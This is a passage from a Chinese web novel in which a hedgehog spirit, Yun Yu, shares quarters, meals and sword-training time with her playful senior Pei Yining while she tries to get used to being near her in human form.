她颇为自来熟地躺在以往的位置,靠着墙面,一床叠好的小被子落入眼中。 是她盖的。 小刺猬爪子一拽,盖到自己身上,满足地卷着被子翻滚两圈:“还是这里睡得舒服。” 裴依宁端了叠洗好切块的水果过来:“要不要解解腻?” 小刺猬踢开被子:“要。” 她终于又要过上日日被投喂的好日子了。 “星星,变回人形给我看看,好不好?”裴依宁叉起一块水果,在小刺猬唇边转着圈,就是不给小刺猬吃。 小刺猬眨眨眼。 裴依宁道:“不是说要适应吗?你一直是刺猬形,怎么适应呢?” 她将蓝莓填入小刺猬口中:“我们现在就尝试适应,好吗?” 小刺猬犹豫,几秒后,下定决定。 她身形一变,头枕在裴依宁腿上,长腿弯曲蹬在床面,脸开始一点点变红,姿态声音都没了小刺猬的任性,紧张地:“裴……裴师姐。” 裴依宁捏捏她的脸,俯下身。 瞳孔中,女人的脸无限放大。云榆腿无意识地伸直,双手抓紧床单,纹路以此为中心向四周延伸:“裴师姐……” 快要触及之际,裴依宁别开脸,脸颊擦过。她揽住云榆的腰身:“太外面了,会掉下来的。” 裴依宁提起云榆的手,抚平褶皱之地:“星星,你在紧张什么?” 作者有话说: 小刺猬:羞涩 第63章 第六十三章[VIP] 握着她的手, 揽着她的腰身,反问她在紧张什么,云榆大脑中一片空白,凝神在贴得过近的女人身上。 清淡的药香丝丝缕缕萦绕在鼻息间, 云榆呼吸中尽是这种气息。 上半身往下挪动, 膝盖曲起,头快要从裴依宁的腿上滑落。 没能偷偷挪动多久, 揽住她腰身的手穿过后背, 将她往上一提。 挪动下的几公分又被恢复原样。 裴依宁恍若什么都不曾发觉,像点小刺猬般, 点在云榆的额头:“真如星星所言,你的人形和刺猬形差别怎得如此之大。” 她掐了个指诀, 在云榆的腰处垫下柔软物,护着动弹不能的人的头,空闲的手捏着竹签叉起一粒蓝莓:“私下里,我们仍旧维持熟稔的相处方式。星星答应我会尽早适应的。” 那粒蓝莓在云榆唇上点动,表皮被签子戳破, 紫红色的汁液浸润到云榆的唇上。 云榆不得不张嘴含住, 囫囵嚼了几下咽下。 她开始后悔今夜宿在裴依宁这边了, 更后悔答应裴依宁化成人形。 太不自在了。 她的心处在剧烈跳动的状态。 舌根都是蓝莓的酸甜, 云榆咬住舌尖, 在裴依宁投喂新的水果块时, 不肯张嘴了。 她紧紧抿着唇,别开头:“我不吃了。” 裴依宁慢条斯理地调转签子, 填入口中, 数秒后,她温声问:“怎么了, 今夜的水果不合星星的胃口吗?” 云榆掐着掌心,眼一睁就是裴依宁的面容,尝试不去看对方,可别开眼,都是裴依宁的痕迹。 更何况头下面枕着的触觉,根本无法忽视。 今晚总不能用人形和裴依宁同床共枕吧。 一想到这个可能,云榆头皮发麻,哪里还有胃口:“不是,晚上吃多了,肚子没有空余的地方了。” 裴依宁不置可否,只是略可惜地揉揉云榆的发顶:“星星困吗?” 云榆闭眼:“有点。” 她侧过身,脸埋在裴依宁的小腹处,双手揪住裴依宁的衣衫:“裴师姐,我……我们一起睡吗?就是,我觉得两个人睡,会挤,我用刺猬形的话,会好很多。” 刺猬形只占据床的一点位置。 裴依宁五指插入她的发根,温湿的触觉让她微微眯起眼睛,指头不由得在云榆发丝中揉弄。 那根发簪摇摇欲坠。 裴依宁索性抽下,更为方便地玩弄云榆道发丝:“挤吗?可你有两次,在夜里变回过人形。” 云榆猝然抬起头,裴依宁腰间的衣衫被一瞬间抓紧,浓密的睫毛颤动,眼底写满了惊惧。 裴依宁按回她的头:“所以,不会挤的。星星还有什么问题吗?” 一瞬间被抽调全身的力气,云榆认命地躲在裴依宁的小腹处,鼻腔中哼出一个简短的“没了”。 等慌乱的心情缓和许多,云榆耳尖微红地挣脱而出,跪在床面上,将一开始扯乱的小被子叠好。 这是小刺猬的她盖的,短短小小,人形的她盖不了。 云榆内视空间储物,里面并没有生活用品。 她的空间储物内部空间本就不大,若非外出,里面不可能存放无关紧要的东西。 自然是没有被子的。 云榆小心翼翼地回头看了眼坐在不远处的方桌边,姿容优雅地处理剩余水果块的女人。 察觉到她的目光,裴依宁支起眼睑,顿了半秒:“星星?” 云榆默默绷着神经,很小声地道:“裴师姐,你这里有多余的被子吗?” 裴依宁捡起最后一块灵果,捏在两指间,走过去,抵到云榆唇边。 云榆被迫张开唇,咬住。 裴依宁这才将注意力放在叠好的那床被子上:“怎得了?” 云榆支支吾吾,为难道:“我……我没有被子。” 裴依宁笑:“原来是这样,”她摸摸被子的厚度,思考地说:“如今的天气,我们二人盖一床被子正好。” 语落,她回云榆前面的问题:“星星,我这好像只有一床被子。等明日,我再去找一床,今夜先跟师姐将就一下,可以吗?” 她眉宇间融着点点笑意,半是玩笑打趣地说:“如果星星不愿和师姐一同,今晚你睡床,我在外打坐也可。” 在别人的地盘,将别人赶出去,云榆自认为做不出这种事情。 但和裴依宁同床就罢了,连被子都盖一床,一时间属实难以接受。 裴依宁是怎么能够做到这么云淡风轻的。她现在可是人形啊,从某种程度上来说,她算半个活生生的人。 裴依宁半点都不觉得不适应吗? 不愧是灵丹堂的大师姐,见过的世面比她云小刺猬多许多。 说不定原先做任务或者是和同门师姐妹在一起时,就经常同床而眠,以至于不觉得有什么。 云榆好似发觉了不得了的东西:“裴师姐,你以前经常和别人睡在一起过吗?” 她问得过于直白,一点迂回没有。 裴依宁“嗯?”了声,才是道:“我没有和别人睡在一起过。从幼时就不曾过。” 这样啊。 刚冒出头的,不知名的情绪烟消云散,云榆都没发现,她的内心顿时轻松许多:“我见裴师姐这般熟稔,以为裴师姐有过很多经验。” 裴依宁:“……” 她忍不住笑出声,单膝跪在床面,优越的身形衬得她威压极高,云榆往后倾了点。 裴依宁缓而慢地逼近她,直到一只手臂搭在云榆的肩膀上,轻车熟路地捏上云榆的侧脸:“我是你的小跟班,我们之间,本就很熟稔才对。”她叹息,略有几分难以察觉的幽怨,“什么时候,你的人形和刺猬形一样,都对我无比熟稔。” 云榆回答不上来,只低垂着头,刻意地无视。 肩膀上的胳膊移开,投射到身上的阴影消失。 是裴依宁退了下去。 云榆咬住上唇的一边,追随离开人的背影,以为女人真的如所言那般要出去打坐修炼,她急忙叫住:“裴师姐。” 裴依宁扭头。 云榆用力咬住舌尖,后槽牙咬合,用尽全身的力气,将自觉羞涩的话语吐出,汇成一句更奇怪的话:“我们睡吧。” 裴依宁:“……” 怎么会有妖能这么纯情地说出这么不纯情的话。 裴依宁曲指点了下只剩下些许汁水的盘子,道:“我去收拾一下,很快就来,星星可以先睡,”她笑,“或者,一起睡。” 云榆脸发烫:“我……我等你一起。” 裴依宁笑笑,将盘子清洗放好。随后,她开启洞府内的阵法,将这处空间禁锢,隔绝内里与外界的声音。 做完一切后,裴依宁褪去外衫,挂在一侧的横架上。在横架上,云榆的外衫已经挂好。 裴依宁回头看了眼,云榆扒着被角,只露出一双眼睛,似担忧似警惕地盯着她。 裴依宁心中好笑,一身白色里衣走到床边。 云榆下意识地闭上了眼。身边久久无人入内,云榆偷偷睁开一只眼睛,却见女人正端着一透明杯子,在喝水。贤驻复 云榆口干舌燥,她渴了。 裴依宁放下杯子,一道细小的声音插入:“裴师姐,还有水吗?” 裴依宁拿了新的杯子,倒了杯水给她。 云榆坐起,双手接过:“谢谢裴师姐。”她的眼睛总是湿漉漉的,即使不说话,那双眼睛好似随时都在笑。 温和至极。 给人的第一印象,大概就是性格好,脾气好。 裴依宁掀开被子,清凉的空气钻入,将被子捂热的云榆忍不住打了个寒颤。 云榆喝了几口润喉,因睡在里面的原因,不方面探身放杯子。她让灵力圈着杯子,放到方桌上。 而后,她往里面挪动,身体隔着被子,贴上墙面。 裴依宁坐靠在床上,她不好直接躺下,局促不安。 她什么时候能像裴依宁那般,应对自如。 等两人躺下,室内的烛灯还在尽职尽责地进着自己的任务。 光亮之下,一切都无所遁形,余光能看见身边人的肌肤,耳朵能听见女人微弱的呼吸,以及自己不断跳动的,几欲跳出胸膛的心跳。 她和裴师姐睡在一张床上。 脑子里,这一信息循环往复。 忽而,手臂被柔软触碰。 是裴依宁牵住了她。 女人音色轻缓,泠泠泉水般清润:“星星,还在紧张吗?”她不愿云榆过于煎熬,“暂时不能适应的话,可以化成本体。都没有关系的。” 云榆抓住自己的里衣,她身体在躺下时又往下缩了缩,眼睛也被遮上,从外面看,只能看见她乌黑的发顶。 云榆喉咙滚动数下,在做挣扎。 最终,羞耻心占据主导地位,她掀开被子一角,再次出来时,已经是小刺猬了。 她长长呼出一口气,大口喘息数次,难掩轻松地在横过身体,四仰八叉地躺在那,身心愉悦:“终于能正常说话了,憋坏我了。” 裴依宁坐起身,将那床小被子盖到小刺猬身上,托着小刺猬睡到小枕头上,隔着被子拍拍小刺猬的后腰:“人形的限制这么高吗?” 小刺猬踢开被子,站起,视线被挡住些,后知后觉现在的身高过低。她四肢并用地爬上裴依宁的被子,坐在女人的小腹处,一本正经地点点头:“会很害羞,很不好意思。” 她捏住脸皮,皱皱眉:“可能是本体的脸皮比较厚。” 裴依宁无奈地挑开她的爪子:“哪有这么说自己的。” 小刺猬认真道:“真的,本体的脸皮比人形的厚好多。” 她前爪趴在被子上,裴依宁能感受到小刺猬的重量,她有意逗弄小刺猬,小幅度地颠动小刺猬身下的被子。 小刺猬一起一伏,起先还不注意到,可随着幅度越发大,小刺猬被颠来颠去,险些从被子上掉下。 某只小刺猬按住被子,龇牙咧嘴做出凶恶状:“笨蛋裴依宁,我现在可是星星大人。” 裴依宁若有所思地停下。 小刺猬以为这句话起效果了,自傲地摆出姿势,准备教育自己的小跟班。却不料,身体下的被子以更快的频率和幅度抖动起来。 她触不及防,一个没趴稳,从拢起的被子上滚落,缩成球。 小刺猬:“……笨笨裴依宁,你在做什么!你真是大胆。” 她后肢蹬床面,弹跳到原位,爪子勾住被子,快速往前爬到,拽住被角,往下一拉。 被子从裴依宁上半身滑落。 小刺猬张口,扒开裴依宁衣领,对着锁骨就是一口:“让你知道本星星大人的厉害。” 她这次下了力,那处肌肤本就细嫩,裴依宁轻吸一口气。 小刺猬听见吸气声,松口。 上下一排牙印,小刺猬满意极了:“让你让本星星出丑……” 话还没说完,她脸颊两侧,靠近刺的位置被人捏住,紧接着,身体悬空。 小刺猬四肢自由垂下,毫无尊严可言的被人提了起来。 小刺猬:“……” 小刺猬觉得耻辱。 小刺猬要闹了。 小刺猬已经开始闹了。 小刺猬四肢踢打空气,恼羞成怒:“你在做什么!你竟然敢这样提起我,你快给我放下来,不然有你好果子吃的。” 等她被放下来,她一定要再咬裴依宁几口,不对,是十几口,让她满身都是自己的牙印,让她知道这样对小刺猬的下场有多么严重! “星星,现在的你,好鲜活啊。”裴依宁晃动小刺猬,使得小刺猬下半身不断摇摆,弹性十足,“人形的你,在我面前,也这般鲜活就好了。” 小刺猬警惕:“你想做什么?” 莫不是让她现在变回人形。 小刺猬不闹了。 小刺猬能屈能伸。 小刺猬求饶:“裴小跟班,你愿意把本星星放下来吗?本星星保证,本星星不与你计较你的无礼。” 裴依宁头一次在一只小动物脸上,看见谄媚的神情:“你还是本星星唯一的跟班。” 裴依宁听她说完:“唯一的跟班吗?” 小刺猬点点头,义正言辞:“只有你才配当我的跟班。” 裴依宁微笑:“遗迹中的那两只白毛刺猬呢?我若是没记错的话,星星好像也收她们为跟班了。” 小刺猬狡辩:“有吗?没有。” 翻旧账,人族果然喜欢翻旧账,她之前就对人族翻旧账的事有所耳闻,不曾想,今日她遇上了。 裴依宁不与她计较这些,将她放回到被子上:“星星说得,我自是相信。”她拎起小刺猬放到身侧,“不逗你了。”在小刺猬发难前,为她戴上一顶高帽,“星星大人有大量,不会与小跟班计较方才的无礼吧。” 小刺猬:“……”咬碎牙往肚子里咽,“当然!” 小跟班有两幅面孔怎么办,小刺猬入睡前想的是这个问题,醒来时,想的仍旧是这个问题。 以至于第二日清晨,变回人形的她一动不动地坐在长椅上,望着女人熬煮药粥的背影,还在思考。 其实不止是她,面对小刺猬的本体时,裴依宁也会变得幼稚许多,浑然没有宗门内,人人敬仰的师姐形象。 她想得失神,一只白皙的手在她眼神晃动几下,她方回过神。 裴依宁将一碗药粥放在她面前:“早上吃得清淡点,中午再给你做别的吃。” 云榆恢复到面对师姐的那份腼腆:“都可以,裴师姐决定就好。” 有的吃就行,她从来不挑剔。 况且,就算是药粥,在裴依宁手艺的加持下,都好吃许多。 饭至中途,裴依宁用公筷夹了样小菜入云榆碗中:“星星,你想要的六品丹药是什么?” 在她还是宁依的时候,小刺猬就向她提起过,前几日,在她问云榆第一个七日想要的丹药时,对方犹豫着一直没说出。 如今两人互明身份,无需再遮遮掩掩。 云榆正埋首于碗中吃得津津有味,闻声:“啊?” 唇边沾着一粒米粒,被她胡乱擦去,意识到裴依宁问的什么,她正襟危坐,道:“裴师姐,我想要一枚固形丹。” 固形丹,顾名思义,能够帮助妖族更好的稳定人形,等级越高,对妖族的效果越好。 “固形丹?”裴依宁重复出声,她自是知晓这丹药的功效,“原来如此,我早该想到你会需要这种丹药。” 云榆茫然地眨眨眼。 裴依宁托举着下巴,慵懒随性:“不是说了吗?你有两夜,变成人形了。” “那时我猜你是因修为或是梦境中遇见了什么,导致你突然化形。”裴依宁道。 但不能确定,加之那时她不方便多问,只好作罢。 这种丹药的炼制,对她来说不难:“过两日有外宗人前来,等结束后,我再为你炼制,可好?” 她打算为云榆炼制更高品阶的固形丹,如此需要的药材品阶亦是要高些。 而其中一种药株尚未完全成熟。苍焰宗人过两日便会来,她身为在场人之一,不可冒然离宗,只能麻烦宗内师妹帮忙。 两日而已,云榆不着急。 她道:“多谢师姐。” 裴依宁:“你要是有小刺猬的脸皮就好了。” 云榆:“……” 裴依宁的这句话,不仅说了人形的她,还说了刺猬形的她。 有点过分了。 但云榆反驳不了:“……我努力。” 早点过来,云榆先一步回到剑法阁。 她住在裴依宁洞府的事,不能让太多人知晓。在准备前往练剑之地与裴依宁汇合前,云榆先去了趟杜寻雁的洞府。 敲了三下门,等了会,里面没动静。 杜师姐昨晚吃了纳兰师姐的醒酒丹,不可能还没醒。 总不能现在就去指导众位同门修炼了吧。 依杜师姐的负责任,很有可能。 云榆身形晃动,来到地方。 应滟和卞凝正在对打,两人皆是没有用剑,单纯的灵力碰撞,以身体为武器。 云榆等在一边,等两人交战结束,三步并作两步而去。 应滟看见她,激动地招手:“云榆,这里。” 卞凝擦着汗,呼吸不稳,没有说话。 应滟喋喋不休:“我新学的掌法,你方才看着如何。” 云榆想想,给出中性评价:“尚可,第几层了?” 应滟道:“刚学会第一式,没忍住拉着卞凝陪着练了会。” 云榆道:“只学会了第一式,能来得如此有来有回,可见你对掌法的熟悉。” 当然,她看出卞凝放的水。 主要来此的目的没有忘记,云榆环顾一圈,没看见熟悉的身影。 杜师姐莫非不在这里。 云榆直问道:“你们看见杜师姐了吗?” 卞凝气息稍缓,跟着往四周看去,“咦”了声:“方才还在,怎得突然没影了。” 应滟一屁股坐下,边捶腿边道:“许是被别的同门叫去了吧,哎,来了,在那呢。” 只见杜寻雁托着脖颈,表情奇奇怪怪的,周围有师姐妹关心询问,她也只是摇头,快步路过,并不回答。 云榆有心探究,几步过去拦住杜寻雁的路,关心:“杜师姐,你这怎回事,一夜不见,你这脖颈?” 杜寻雁见是她,停步:“没事,扭到了而已。云师妹有事吗?师姐还有要事处理,耽误不了。” 云榆拿出数瓶丹药:“嗯……杜师姐,不知道这算不算是事。” “丹药?”杜寻雁眼睛发亮,也不捂着脖颈了,欢天喜地地抱住那几瓶丹药,顾不得脖颈的疼,一个个打开嗅闻。 丹香肆意。 骨头摩擦声,只是听,云榆就觉得疼。 她有心道:“杜师姐,要不你去灵丹堂看看?” 杜寻雁不在意:“过会就好了犯不上去。有这精力,我多去磨磨师姐妹们,多弄点丹药符纸器物什么的。” 云榆:“……杜师姐,我们剑法阁真的那么穷吗?” 杜寻雁沉默了会,道:“总不能让峰阁内的师妹拉下脸去求取这些东西吧。我与众峰阁的师姐妹们关系不错,能多弄点就多弄点,留着以备不时之需也好。” 她叹息,一副师姐无能之样:“我总归是你们师姐。” 云榆有所触动:“杜师姐……” 杜寻雁吸吸鼻子:“若是心疼你杜师姐,日后,多问裴师姐要点丹药,杜师姐也算是没白培养你。” 她一把鼻涕一把泪地抱住她:“杜师姐已经老了,剑法阁的未来,靠得是你们。” 云榆回抱她:“杜师姐……” 杜师姐:“云师妹!” 路过熟悉杜寻雁本性的剑法阁师姐正听见这几句话,扶额,不想多看:“又是老几句。” 云榆:“……” 她就知道。 强行和杜寻雁演了回,云榆回到平日修炼的地方,裴依宁已经等候多时。 见到她,云榆表情登时收拢,干咳两声:“裴师姐。” 裴依宁看向她,对她勾勾手。 云榆几步挪去。 裴依宁扫过她的两臂,神情低落,语气中压着几分难耐:“星星。” 云榆:“裴师姐不开心吗?” 明明她从对方洞府离开前还是好好的。 “嗯,不开心,”裴依宁道,“星星,抱抱我。” “安慰你的小跟班。” 作者有话说: 裴师姐:星星,抱抱 云榆:等我化成小刺猬 第64章 第六十四章[VIP] 云榆摇身化为小刺猬, 几个蹦跳踩在裴依宁的鞋面上,顺着女人的腿一路爬到女人的肩膀,随即张开爪臂,搂住裴依宁的脖颈, 脸颊贴在女人的下巴处, 来回揉捏。 小刺猬道:“抱抱。” 裴依宁护着小刺猬的后身,点上小刺猬柔软的小肚子, 轻呢:“不是这样抱的。” 小刺猬分开些距离, 茫然地看向裴依宁,爪子搭在后者的肌肤上, 她复又垂头看看自己的爪子。 半秒后,她顺着裴依宁的衣衫往下滑, 一直来到女人的小腹处,而后,又张开爪臂,抱住女人不染纤尘的衣衫。 她艰难地仰起头,即便这样, 也只能看见裴依宁的下巴。 小刺猬攥紧裴依宁的衣衫, 爪臂努力地张开:“这样可以吗?” 裴依宁闭闭眼, 脑海中是一幕幕云榆和杜寻雁相拥的景象。 为何到她这, 小刺猬只愿用本体拥抱她。 裴依宁牵住小刺猬的爪子, 小刺猬自觉松手, 安心地让裴依宁拎着她的两爪让她提起。 女人戳戳她的脸颊,眉宇间凝着几分不解:“星星, 只有这两种抱的方式吗?” 她歪头, 转身将小刺猬放到透明长桌上,双掌撑过去, 将小刺猬禁锢在身前半圈之地:“我方才来时,无意中……看见你和杜师妹抱在一起。” 她顿住,浅色瞳孔中倒映出小刺猬的五官:“我想要那样的安慰。” 小刺猬了然,下肢交叠放一起,嘟嘟囔囔地:“你说安慰小跟班,我以为是你要我本体出现。” 她爪臂弯曲,从桌沿边滑落。 裴依宁后退数步。 一团灵光在眼前晃动,一道人影似在蠕动,地下的那团影子越来越大。 云榆脚一点地,就着下盘的力直起身。后腰自然而然地斜依倚在桌沿,她张开双臂,迟疑地蹙起眉心。 总有几分羞涩。 是面对杜寻雁时不可能出现的羞涩感。 面前的女人靠近两步,云榆打消念头,上前半步,如先前抱杜寻雁那般,拥住裴依宁。 她的手臂虚揽住裴依宁,隔着些许间隙,看上去有几分生硬。她更为生硬地拍拍裴依宁的后背,不太擅长安慰人:“裴师姐,别不开心。” 她侧耳与裴依宁脸颊相碰:“裴师姐是遇到什么事情了吗?可以跟我说说,虽然我无法可能无法帮到你。但我可以当个倾听者,可以努力安慰你。” 云榆想哄她,可裴师姐需要她哄吗?她不确定。 除了前几次刻意地打着练剑之名,以及夜晚,小刺猬变成人形,不老实地抱住她外,这是裴依宁第一次名正言顺的和云榆近距离相处。 她圈着云榆的腰身,贴着云榆的肩膀,恍惚中,她听见云榆陡然加快的心跳,感受到怀中不断增加的温度,她看见云榆耳尖泛着红。 絮絮不休的话语荡在耳边,裴依宁圈着她的手臂紧了几分,灵力顺着云榆的脊背遍布全身,清除覆盖其她人的痕迹。 当灵力无形地绕成一个圈,裴依宁掌心一握,依稀中听见空气中爆裂的细小之音。 声音很小,被云榆说话声覆盖。 裴依宁浅声:“心事,突然而来,不知缘由,兴许等会就没了。” 既然是突然而来,没有缘由,云榆不知该如何安慰了。她知晓人会在午夜中心情低落,偶尔妖也会有。 这种情绪转变无法追根溯源。 没想到裴依宁也会这般。 云榆学着自幼姐姐安抚她的方式,轻拍女人的后肩,哼唱轻柔的,不知名的调子。 她的声线本就偏软,如今柔下来,听起来毫无攻击力。 一曲哼完,云榆问:“裴师姐,好点了吗?” 裴依宁问:“云师妹以往这么对过其她人吗?” 云榆想了想:“没有,好像只有你一人。” 裴依宁:“好点了。” 她克制地主动放开云榆,指一点,一侧架上的铁剑自动飞入掌心,她握住,冰凉的触感激得她蜷缩了下手。 天生的火属性灵珠让她对于冰凉之物尤其敏感。 本着认真教导的念头,裴依宁从适才的怀抱中缓出:“星星,今日的修炼切莫忘了。”她撑了下桌面,拖着懒意的调子,“我不久前与杜师妹传了音,在你修为达到青灵前,修炼之事,由我监督。” 意料中地看见云榆逐渐破裂的神情,她眉梢一挑,得了些乐趣:“星星会好好听小跟班的话,不会让小跟班在杜师妹面前颜面无存吧。” 云榆浑身发寒,无神地对上裴依宁,唇齿微动,几个字从牙缝中蹦出:“你是以裴师姐的身份,还是以小跟班的身份,跟我说这话的?” 裴依宁:“自是小跟班,我言语中有不明确的指向?” 当然没有,裴依宁字里行间的自称都是小跟班,云榆此番不过是多此一举的询问。 可既然是小跟班,云榆丧下去的胆子壮大,咬着后槽牙,忍住人形面对裴依宁时缭绕不止的情感:“你是我小跟班,理所应当听我的话。修炼一事,哪有被小跟班监督的,太过逆反。” 在小跟班面前,她需要保留几分颜面。当初刺猬形在宁依面前扯出的话,全部狠狠打回到脸上,每一想起,云榆只觉火辣辣地疼。 早知道今日,当初就不应扯得太过。 裴依宁好以整暇:“星星想如何?” 云榆舔下唇,试探地说:“正常修炼,无监督一说。” 还是要面子的,裴依宁已坐至长桌后的椅子,双腿交叠,毛笔架悬着几根平稳不动的毛笔。 她素手取下一只:“可以。” 云榆见她正磨墨,几张纸页压在镇纸之下,好奇地凑上去,指尖点在砚台中央,墨条从她肌肤上划过,带出黑色痕迹。 她捻捻手,墨色晕染,指纹被染成深色。 她点评一句:“好墨,好砚。” 裴依宁捏着毛笔顺过墨汁,在砚台边缘润过:“星星识得?” 云榆理所当然:“当然……不识得。但裴师姐用的,应该不会是差的。” 裴依宁暗自发笑,笔杆稍抬。 云榆眼疾手快地护住脑袋,脖子一缩,踉跄地往后跌了几步。 裴依宁揽住垂下的袖口,疑惑她突如其来的举动,余光瞥见笔杆,后知后觉知晓这是怕被敲。 “站那做什么?”裴依宁翻出灵丹堂的一本册页,仔细比照上放的文字,临摹于宣纸上,“以为我要敲打你?” 云榆被敲出阴影,生无可恋地点点头:“裴师姐,以后能不能不敲我。她们说,会被敲笨的。” 裴依宁终是抬眸看她一眼:“我只那日敲过你。” 云榆扒着桌沿半蹲着,冒出半个小脑袋,可怜兮兮地:“那日就已经把我敲笨了。” 裴依宁翻过册页,上次圈的两个人名露出。 黑润的汁液横在页面,想不注意都难,云榆盯着那两个人名,再一转眼,裴依宁将上面圈出的两人人名誊写在宣纸上。 裴依宁:“你是在对我提要求吗?” 云榆颇为委屈,她都这样说了,笨蛋裴依宁还在反问她。 若是她是刺猬形,这个时候已经蹦起来,拎着毛笔杆敲在裴依宁头上,然后气势汹汹地来一句:“不准敲本星星。” 云榆眼睛一亮,然,对上裴依宁,扬起的气势衰弱,磨蹭着,用最软的语气说最硬气的话:“不准敲我,裴依宁。” 毛笔尖吻过纸页,裴依宁顿住:“这话有几分你本体的感觉了。” 她运笔:“好的,星星,以后不敲你。” 竟然这么奏效,云榆不可思议地将脑袋垫起,尝试地指着裴依宁写下的两人名:“为什么写她们的名字。” 裴依宁从善如流:“新弟子中,她们二人天资聪颖。” 云榆瘪瘪嘴:“那为什么不写我的名字。” 昨日从宣纸上见到自己的名字,第一眼除了震惊外,便是对裴依宁字迹的赞扬。 旁的还不觉得,但云榆头一次觉得,自己的名字写出来能这般有美感。 裴依宁新取了张宣纸,笔尖游龙地在纸上漂浮,一横一竖中蕴着灵力道义,力透纸背。 “云榆”两字映入眼帘。 数秒后,笔尖又舞动起。 “星星”二字紧随其后。 裴依宁放笔,举起宣纸,日光照射之下,通透灵动。 裴依宁微微一笑:“写了,分明早两日就写了星星的名姓。” 云榆偷偷对比,一番计较之下,的确是自己的名字写得要好看。 其实写另两人名姓时,裴依宁公事公办,而当某只妖提出要求时,自是不可再用公事公办的态度。 偏向性不觉中指向出。 “那次的有折痕,不及这次的好看。”云榆小心接过,满意地看了一遍又一遍,不无艳羡,“你的字真好看。” 相比较之下,她的字,和乌龟爬最大的区别,约莫是能认出。 脸颊被捏住,上下拽动。 云榆咧嘴,下意识跟着拽动的方向而去,没心思感怀:“你为何捏我脸。” 她被磨得半分脾气没有。 裴依宁:“虽答应没有监督之说,但你现在可是在磨洋工。何时开始修炼。” 云榆:“……笨蛋裴依宁。” 有了点进步。 人形敢说笨蛋裴依宁,敢稍有硬气地提要求了。 裴依宁松手,顺势揉揉。 云榆本只是想看看她用的墨,几句间耽误了修炼。 但裴依宁越发过分了,对她从一开始温和有礼的云师妹,到现在一言不对,就敲打她,捏她,简直是个双面人。 哦,她忘了,裴依宁对她的人形和刺猬形,一视同仁。 反观她,无法适应。 等她适应了,白天刺猬形敲裴依宁,晚上人形敲裴依宁。 她云小刺猬极为记仇,此仇不报,枉称星星大人。 心里愤恨不平地想着,面上乖巧师妹:“今日练剑。” 转身背对女人,云榆一拳握起,立在身前:“今天云小刺猬被捏了吗?” 她小声地自言自语:“被捏了。” 裴依宁修为高深,耳力极好,闻声不由得宠溺摇头,专注于手边之事。 处理至一半,她分出神给十数米外的人。 只听得剑鸣声不绝于耳,四散的剑气在使剑者的控制下,仅至裴依宁身前两三米处便溃散。 云榆舞剑的身姿极为漂亮,身轻如燕,剑法飘逸,灵气十足。虽仍有她先前所说的问题,可今日已然改去许多。 只是不经意间,还会忘记。 裴依宁记下她的问题所在。 一个时辰后,气息略显不稳的人靠在墙角,抱着双膝往下滑,偷看远处坐姿端正,姿容绝艳的人。 看了会,她调整呼吸,运转灵珠,双腿盘坐,屏息静气,吸纳空气中的灵气。 又过了一个时辰,云榆从打坐中收神。 原先裴依宁在的位置,空荡无物。 桌椅,人,都不见了。 裴依宁离开了。 没有跟她说一声就离开了。 裴依宁是怕打扰到她修炼才一声不吭地离开的。 知道原因,可云榆心还是受不住地一沉。 “笨蛋裴依宁。”云榆低声控诉。 “怎得我又做错事,让星星不高兴了?”声音自身后传来。 裴依宁慵懒地靠在云榆打坐前蹲着的墙壁处,双手怀抱,一只腿微微弯曲,眉眼间软成一片:“打坐结束就提我。” 云榆没想到被抓包,尴尬至极地站在那,无理还要辩三分,“我……我没有,裴师姐听错了。” 说了又能怎么样。 裴依宁总不能教训她吧。 “裴师姐,”裴依宁吐出一口气,重复云榆话中的称呼,似笑非笑,“既然当我是你师姐,那便罚你抄写十遍灵法口诀。” 云榆:“……” 以权谋私,她要告诉杜师姐,把她从裴师姐的魔爪中解救出来。 不行,杜师姐说不定不仅不会同意,还会抓她向裴依宁换取灵药。 云榆第一次觉得自己竟这样值钱,都可以用来换那么多高品阶的丹药了。 本着能屈能伸地意念,云榆改口:“裴依宁,我不抄。” 裴依宁:“话都出口了,怎么改?” 云榆:“那你帮我抄,”她咽了下,“反正你是我小跟班,我被罚,你连坐,跟着我一起抄。” 自己罚自己,看裴依宁以后还敢不敢继续这样对她。 不知道跟谁学的,还学会让人罚抄了,杜师姐这么不正经,都不曾罚过她。 裴依宁是笨蛋。 云榆默默补充。 裴依宁好笑,却也不可奈何,某只妖启用身份能力,她身为小跟班,若是拒绝,某只小刺猬现在就能过来咬她。 咬她。 昨晚小刺猬就咬了她。 裴依宁:“星星,能不抄吗?刚刚写了许多字,手有些疼了。” 云榆内心颤颤,一脸正经:“不可,这是灵丹堂大师姐罚抄的,你若是不愿陪我,你去与她说,免去我的抄写。” 知不知道这些话,她说出来费了多大的劲。 裴依宁凭空取出一只毛笔,塞到云榆掌心,低声浅笑:“星星,那我们开始吧。” 云榆:“……” 不情不愿地跟在裴依宁身后,一张长桌浮现,两把椅子并排而放,上方是两叠厚度相同的纸页。 云榆重重阖上眼,只当是一场梦境。 再一睁眼,东西原封不动的在那。 “一切都是真实的。”裴依宁按住她的双肩,将满脸抗拒的人推到椅上,往下一按,“开始吧,我看着你写。” 云榆:“您真是一位好师姐!” 阴阳怪气,有了鲜活的气息,裴依宁坐在她身边,撑头斜坐,投射的影子落下一小截在纸页上。 裴依宁:“多谢星星夸奖。” 灵丹堂的师姐妹们知道裴依宁私下是这个样子吗。 云榆磨牙,恨恨地落下一笔,落下两笔,落下三笔…… 一个字体成型。 云榆做错事地偷看裴依宁。 裴依宁眉头紧锁,紧紧盯着那个成型的文字。 云榆踌躇着,迟迟不敢落笔写第二个字。 之前还没有这么明显的感觉,可今日仔细看了裴依宁的笔迹,那种由内而外地羞意在体内升腾起伏。 她的字真的很丑吗? 丑到裴依宁都不忍多看的程度吗? “怎得停了。”裴依宁道,“继续写。” 云榆正要说话,身旁的人已经起身,绕过椅子。 云榆心凉半截。 下一秒,手背被温热包裹,裴依宁抽出她指尖的毛笔,捏着她的手指,一根根放到该放的位置:“这般拿笔,”她握着云榆的手,“先不使力,感觉一下如何运笔的。” 云榆收力,完完全全地由裴依宁主导。 裴依宁带着她自上而下地写完一行字,换行时,云榆歪了下头,女人叠在她衣领的一卷发丝滑落,漂浮着吻上她的侧脸。 痒痒的。 周身被裴依宁的气息包裹,云榆的心亦是痒痒的。 她在裴依宁研墨时微微扭头,女人神情认真,容貌昳丽,脸部线条转折处饱满流畅,五官精致,不笑时,有种清冷,只可远观之象。 裴依宁身上香香的。 比那些吃食还要香。 云榆莫名冒出这个念头。 她一惊,急忙避开眼,打散这个念头。 她怎么能把吃食和裴依宁放在一起。 裴依宁注意到她的小动作,只不知她在想什么,竟一瞬间害羞至此。 